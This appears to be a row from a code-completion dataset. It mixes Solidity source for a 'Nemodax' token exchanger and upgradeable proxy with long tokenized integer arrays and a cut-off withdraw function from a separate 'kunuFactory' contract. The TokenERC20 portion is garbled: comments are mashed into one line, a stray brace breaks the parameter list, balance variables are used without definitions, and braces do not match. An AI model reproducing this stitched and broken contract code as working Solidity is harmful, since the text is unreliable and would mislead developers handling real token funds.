* It would call initToken in TokenERC20 with _tokenName, _tokenSymbol, _initalSupply
* Last five arguments are manager account to supply currency (_marketSaleManager, _serviceOperationManager, _dividendManager, _incentiveManager, _reserveFundManager)
*
*/
function initExchanger(
string calldata _tokenName,
string calldata _tokenSymbol,
uint256 _initialSupply,
uint256 _tokenPerEth,
address _marketSaleManager,
address _serviceOperationManager,
address _dividendManager,
address _incentiveManager,
address _reserveFundManager
) external onlyOwner committeeApproved {
require(opened);
//require(_tokenPerEth > 0 && _initialSupply > 0); // [2019.03.05] Fixed for Mythril Vulerablity SWC ID:101
require(_tokenPerEth > 0); // SmartDec Recommendations
require(_marketSaleManager != address(0) &&
_serviceOperationManager != address(0) &&
_dividendManager != address(0) &&
_incentiveManager != address(0) &&
_reserveFundManager != address(0));
require(_marketSaleManager != _serviceOperationManager &&
_marketSaleManager != _dividendManager &&
_marketSaleManager != _incentiveManager &&
_marketSaleManager != _reserveFundManager &&
_serviceOperationManager != _dividendManager &&
_serviceOperationManager != _incentiveManager &&
_serviceOperationManager != _reserveFundManager &&
_dividendManager != _incentiveManager &&
_dividendManager != _reserveFundManager &&
_incentiveManager != _reserveFundManager); // SmartDec Recommendations
super.initToken(_tokenName, _tokenSymbol, _initialSupply,
// SmartDec Recommendations
_marketSaleManager,
_serviceOperationManager,
_dividendManager,
_incentiveManager,
_reserveFundManager
);
tokenPerEth = _tokenPerEth;
emit SetExchangeRate(msg.sender, tokenPerEth);
}
/**
* Change tokenPerEth variable only by owner
*
* Because "TokenExchaner" is only used until be listed on the exchange,
* tokenPerEth is needed by then and it would be managed by manager.
*/
function setExchangeRate(uint256 _tokenPerEth) onlyOwner committeeApproved external returns (bool success){
require(opened);
require( _tokenPerEth > 0);
tokenPerEth = _tokenPerEth;
emit SetExchangeRate(msg.sender, tokenPerEth);
success = true;
return success;
}
function getExchangerRate() external view returns(uint256){
return tokenPerEth;
}
/**
* Exchange Ether To Token
*
* @notice Send `Nemo` tokens to msg sender as much as amount of ether received considering exchangeRate.
*/
function exchangeEtherToToken() payable external noReentrancy returns (bool success){
require(opened);
uint256 tokenPayment;
uint256 ethAmount = msg.value;
require(ethAmount > 0);
require(tokenPerEth != 0);
tokenPayment = ethAmount.mul(tokenPerEth);
super._transfer(address(this), msg.sender, tokenPayment);
emit ExchangeEtherToToken(msg.sender, msg.value, tokenPerEth);
success = true;
return success;
}
/**
* Exchange Token To Ether
*
* @notice Send Ether to msg sender as much as amount of 'Nemo' Token received considering exchangeRate.
*
* @param _value Amount of 'Nemo' token
*/
function exchangeTokenToEther(uint256 _value) external noReentrancy returns (bool success){
require(opened);
require(tokenPerEth != 0);
uint256 remainingEthBalance = address(this).balance;
uint256 etherPayment = _value.div(tokenPerEth);
uint256 remainder = _value % tokenPerEth; // [2019.03.06 Fixing Securify vulnerabilities-Division influences Transfer Amount]
require(remainingEthBalance >= etherPayment);
uint256 tokenAmount = _value.sub(remainder); // [2019.03.06 Fixing Securify vulnerabilities-Division influences Transfer Amount]
super._transfer(msg.sender, address(this), tokenAmount); // [2019.03.06 Fixing Securify vulnerabilities-Division influences Transfer Amount]
//require(address(msg.sender).send(etherPayment));
address(msg.sender).transfer(etherPayment); // SmartDec Recommendations
emit ExchangeTokenToEther(address(this), etherPayment, tokenPerEth);
success = true;
return success;
}
/**
* Withdraw token from TokenExchanger contract
*
* @notice Withdraw charged Token to _recipient.
*
* @param _recipient The address to which the token was issued.
* @param _value Amount of token to withdraw.
*/
function withdrawToken(address _recipient, uint256 _value) onlyOwner committeeApproved noReentrancy public {
//require(opened);
super._transfer(address(this) ,_recipient, _value);
emit WithdrawToken(_recipient, _value);
}
/**
* Withdraw Ether from TokenExchanger contract
*
* @notice Withdraw charged Ether to _recipient.
*
* @param _recipient The address to which the Ether was issued.
* @param _value Amount of Ether to withdraw.
*/
function withdrawEther(address payable _recipient, uint256 _value) onlyOwner committeeApproved noReentrancy public {
//require(opened);
//require(_recipient.send(_value));
_recipient.transfer(_value); // SmartDec Recommendations
emit WithdrawEther(_recipient, _value);
}
/**
* close the TokenExchanger functions permanently
*
* @notice This contract would be closed when the coin is actively traded and judged that its TokenExchanger function is not needed.
*/
function closeExchanger() onlyOwner committeeApproved external {
opened = false;
}
}
/**
* @title NemodaxStorage
*
* @dev This is contract for proxyNemodax data order list.
* Contract shouldn't be changed as possible.
* If it should be edited, please add from the end of the contract .
*/
contract NemodaxStorage is RunningContractManager {
// Never ever change the order of variables below!!!!
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) public frozenExpired; // SmartDec Recommendations
bool private initialized;
uint256 internal tokenPerEth;
bool public opened = true;
}
/**
* @title ProxyNemodax
*
* @dev The only fallback function will forward transaction to TokenExchanger Contract.
* and the result of calculation would be stored in ProxyNemodax
*
*/
contract ProxyNemodax is NemodaxStorage {
/* Initialize new committee. this will be real committee accounts, not from TokenExchanger contract */
constructor(address _coOwner1,
address _coOwner2,
address _coOwner3,
address _coOwner4,
address _coOwner5)
MultiOwnable( _coOwner1, _coOwner2, _coOwner3, _coOwner4, _coOwner5) public {}
function () payable external {
address localImpl = implementation;
require(localImpl != address(0x0));
assembly {
let ptr := mload(0x40)
switch calldatasize
case 0 { } // just to receive ethereum
default{
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, localImpl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
}
|
* NemoLab ERC20 Token Written by Shin HyunJae version 12/ Public variables of the tokenmapping (address => bool) public frozenAccount; SmartDec Recommendationsbool private initialized = false; This generates a public event on the blockchain that will notify clients This notifies clients about the allowance of balance This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); callisto recommendation This notifies clients about the freezing addressevent FrozenFunds(address target, bool frozen); callisto recommendation
|
contract TokenERC20 is RunningContractManager {
using SafeMath for uint256;
string public name;
string public symbol;
uint256 public totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) public frozenExpired;
event Transfer(address indexed from, address indexed to, uint256 value);
event LastBalance(address indexed account, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function initToken(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _initialSupply,
address _marketSaleManager,
address _serviceOperationManager,
address _dividendManager,
address _incentiveManager,
address _reserveFundManager
}
) internal onlyOwner committeeApproved {
require( initialized == false );
emit Transfer(address(this), address(0), totalSupply);
emit LastBalance(address(this), 0);
emit LastBalance(msg.sender, totalSupply);*/
uint256 tempSupply = convertToDecimalUnits(_initialSupply);
balances[_marketSaleManager] = marketSaleBalance;
balances[_serviceOperationManager] = serviceOperationBalance;
balances[_dividendManager] = dividendBalance;
balances[_incentiveManager] = incentiveBalance;
balances[_reserveFundManager] = reserveFundBalance;
totalSupply = tempSupply;
emit Transfer(address(0), _marketSaleManager, marketSaleBalance);
emit Transfer(address(0), _serviceOperationManager, serviceOperationBalance);
emit Transfer(address(0), _dividendManager, dividendBalance);
emit Transfer(address(0), _incentiveManager, incentiveBalance);
emit Transfer(address(0), _reserveFundManager, reserveFundBalance);
emit LastBalance(address(this), 0);
emit LastBalance(_marketSaleManager, marketSaleBalance);
emit LastBalance(_serviceOperationManager, serviceOperationBalance);
emit LastBalance(_dividendManager, dividendBalance);
emit LastBalance(_incentiveManager, incentiveBalance);
emit LastBalance(_reserveFundManager, reserveFundBalance);
assert( tempSupply ==
marketSaleBalance.add(serviceOperationBalance).
add(dividendBalance).
add(incentiveBalance).
add(reserveFundBalance)
);
initialized = true;
}
function convertToDecimalUnits(uint256 _value) internal view returns (uint256 value) {
value = _value.mul(10 ** uint256(decimals));
return value;
}
function balanceOf(address _account) public view returns (uint256 balance) {
balance = balances[_account];
return balance;
}
function allowance(address _owner, address _spender) external view returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
return remaining;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(block.timestamp > frozenExpired[_from]);
_unfreezeAccount(_from);
}
require(block.timestamp > frozenExpired[_to]);
_unfreezeAccount(_to);
}
| 926,723 |
[
1,
4625,
348,
7953,
560,
30,
380,
423,
351,
83,
14506,
4232,
39,
3462,
3155,
10423,
2253,
635,
2638,
267,
14881,
318,
46,
8906,
1177,
2593,
19,
7224,
3152,
434,
326,
1147,
6770,
261,
2867,
516,
1426,
13,
1071,
12810,
3032,
31,
225,
19656,
1799,
25546,
409,
1012,
6430,
3238,
6454,
273,
629,
31,
1220,
6026,
279,
1071,
871,
603,
326,
16766,
716,
903,
5066,
7712,
1220,
19527,
7712,
2973,
326,
1699,
1359,
434,
11013,
1220,
19527,
7712,
2973,
326,
3844,
18305,
88,
871,
605,
321,
12,
2867,
8808,
628,
16,
2254,
5034,
460,
1769,
225,
745,
376,
83,
10519,
18782,
1220,
19527,
7712,
2973,
326,
4843,
94,
310,
527,
7613,
616,
478,
9808,
42,
19156,
12,
2867,
1018,
16,
1426,
12810,
1769,
225,
745,
376,
83,
10519,
18782,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
3155,
654,
39,
3462,
353,
20480,
8924,
1318,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
533,
1071,
508,
31,
203,
565,
533,
1071,
3273,
31,
203,
565,
2254,
5034,
1071,
2078,
3088,
1283,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
2713,
324,
26488,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
2935,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
12810,
10556,
31,
203,
203,
203,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
460,
1769,
203,
565,
871,
6825,
13937,
12,
2867,
8808,
2236,
16,
2254,
5034,
460,
1769,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
389,
8443,
16,
1758,
8808,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
1769,
203,
203,
203,
203,
203,
565,
445,
1208,
1345,
12,
203,
3639,
533,
3778,
389,
2316,
461,
16,
203,
3639,
533,
3778,
389,
2316,
5335,
16,
203,
3639,
2254,
5034,
389,
6769,
3088,
1283,
16,
203,
3639,
1758,
389,
27151,
30746,
1318,
16,
203,
3639,
1758,
389,
3278,
2988,
1318,
16,
203,
3639,
1758,
389,
2892,
26746,
1318,
16,
203,
3639,
1758,
389,
267,
2998,
688,
1318,
16,
203,
3639,
1758,
389,
455,
6527,
42,
1074,
1318,
203,
97,
203,
565,
262,
2713,
1338,
5541,
3294,
22579,
31639,
288,
203,
3639,
2583,
12,
6454,
422,
629,
11272,
203,
203,
203,
3639,
3626,
12279,
12,
2867,
12,
2211,
3631,
1758,
12,
20,
3631,
2078,
3088,
1283,
1769,
203,
3639,
3626,
6825,
13937,
12,
2867,
12,
2211,
3631,
374,
1769,
203,
3639,
3626,
6825,
13937,
12,
3576,
18,
15330,
16,
2078,
3088,
1283,
1769,
5549,
203,
203,
3639,
2254,
5034,
1906,
3088,
1283,
273,
8137,
5749,
7537,
24899,
6769,
3088,
1283,
1769,
203,
203,
203,
3639,
324,
26488,
63,
67,
27151,
30746,
1318,
65,
273,
13667,
30746,
13937,
31,
203,
3639,
324,
26488,
63,
67,
3278,
2988,
1318,
65,
273,
1156,
2988,
13937,
31,
203,
3639,
324,
26488,
63,
67,
2892,
26746,
1318,
65,
273,
31945,
13937,
31,
203,
3639,
324,
26488,
63,
67,
267,
2998,
688,
1318,
65,
273,
316,
2998,
688,
13937,
31,
203,
3639,
324,
26488,
63,
67,
455,
6527,
42,
1074,
1318,
65,
273,
20501,
42,
1074,
13937,
31,
203,
203,
3639,
2078,
3088,
1283,
273,
1906,
3088,
1283,
31,
203,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
27151,
30746,
1318,
16,
13667,
30746,
13937,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
3278,
2988,
1318,
16,
1156,
2988,
13937,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
2892,
26746,
1318,
16,
31945,
13937,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
267,
2998,
688,
1318,
16,
316,
2998,
688,
13937,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
455,
6527,
42,
1074,
1318,
16,
20501,
42,
1074,
13937,
1769,
203,
203,
3639,
3626,
6825,
13937,
12,
2867,
12,
2211,
3631,
374,
1769,
203,
3639,
3626,
6825,
13937,
24899,
27151,
30746,
1318,
16,
13667,
30746,
13937,
1769,
203,
3639,
3626,
6825,
13937,
24899,
3278,
2988,
1318,
16,
1156,
2988,
13937,
1769,
203,
3639,
3626,
6825,
13937,
24899,
2892,
26746,
1318,
16,
31945,
13937,
1769,
203,
3639,
3626,
6825,
13937,
24899,
267,
2998,
688,
1318,
16,
316,
2998,
688,
13937,
1769,
203,
3639,
3626,
6825,
13937,
24899,
455,
6527,
42,
1074,
1318,
16,
20501,
42,
1074,
13937,
1769,
203,
203,
3639,
1815,
12,
1906,
3088,
1283,
422,
203,
1850,
13667,
30746,
13937,
18,
1289,
12,
3278,
2988,
13937,
2934,
203,
18701,
527,
12,
2892,
26746,
13937,
2934,
203,
18701,
527,
12,
267,
2998,
688,
13937,
2934,
203,
18701,
527,
12,
455,
6527,
42,
1074,
13937,
13,
203,
3639,
11272,
203,
203,
203,
3639,
6454,
273,
638,
31,
203,
565,
289,
203,
203,
203,
565,
445,
8137,
5749,
7537,
12,
11890,
5034,
389,
1132,
13,
2713,
1476,
1135,
261,
11890,
5034,
460,
13,
288,
203,
3639,
460,
273,
389,
1132,
18,
16411,
12,
2163,
2826,
2254,
5034,
12,
31734,
10019,
203,
3639,
327,
460,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
389,
4631,
13,
1071,
1476,
1135,
261,
11890,
5034,
11013,
13,
288,
203,
3639,
11013,
273,
324,
26488,
63,
67,
4631,
15533,
203,
3639,
327,
11013,
31,
203,
565,
289,
203,
203,
565,
445,
1699,
1359,
12,
2867,
389,
8443,
16,
1758,
389,
87,
1302,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
4463,
13,
288,
203,
3639,
4463,
273,
2935,
63,
67,
8443,
6362,
67,
87,
1302,
264,
15533,
203,
3639,
327,
4463,
31,
203,
565,
289,
203,
203,
565,
445,
389,
13866,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
2713,
288,
203,
5411,
2583,
12,
2629,
18,
5508,
405,
12810,
10556,
63,
67,
2080,
19226,
203,
5411,
389,
318,
29631,
3032,
24899,
2080,
1769,
203,
3639,
289,
203,
5411,
2583,
12,
2629,
18,
5508,
405,
12810,
10556,
63,
67,
869,
19226,
203,
5411,
389,
318,
29631,
3032,
24899,
869,
1769,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0xf08066B7CC8845fEDA54B32CD4c14426f671783a/sources/kunuFactory.sol
|
preBalance = _removeWithdrawFee(preBalance);
|
function withdraw(uint256 amount, uint256[] memory minReturns) external nonReentrant {
uint256 totalSupply = totalSupply();
_burn(msg.sender, amount);
for (uint i = 0; i < tokens.length; i++) {
IERC20 token = tokens[i];
uint256 preBalance = token.uniBalanceOf(address(this));
uint256 value = preBalance.mul(amount).div(totalSupply);
token.uniTransfer(msg.sender, value);
require(i >= minReturns.length || value >= minReturns[i], "Kunuswap: result is not enough");
virtualBalancesForAddition[token].scale(preBalance, totalSupply.sub(amount), totalSupply);
virtualBalancesForRemoval[token].scale(preBalance, totalSupply.sub(amount), totalSupply);
}
emit Withdrawn(msg.sender, amount);
}
| 8,253,371 |
[
1,
4625,
348,
7953,
560,
30,
675,
13937,
273,
389,
4479,
1190,
9446,
14667,
12,
1484,
13937,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
12,
11890,
5034,
3844,
16,
2254,
5034,
8526,
3778,
1131,
1356,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2254,
5034,
2078,
3088,
1283,
273,
2078,
3088,
1283,
5621,
203,
3639,
389,
70,
321,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
2430,
18,
2469,
31,
277,
27245,
288,
203,
5411,
467,
654,
39,
3462,
1147,
273,
2430,
63,
77,
15533,
203,
203,
5411,
2254,
5034,
675,
13937,
273,
1147,
18,
318,
77,
13937,
951,
12,
2867,
12,
2211,
10019,
203,
5411,
2254,
5034,
460,
273,
675,
13937,
18,
16411,
12,
8949,
2934,
2892,
12,
4963,
3088,
1283,
1769,
203,
5411,
1147,
18,
318,
77,
5912,
12,
3576,
18,
15330,
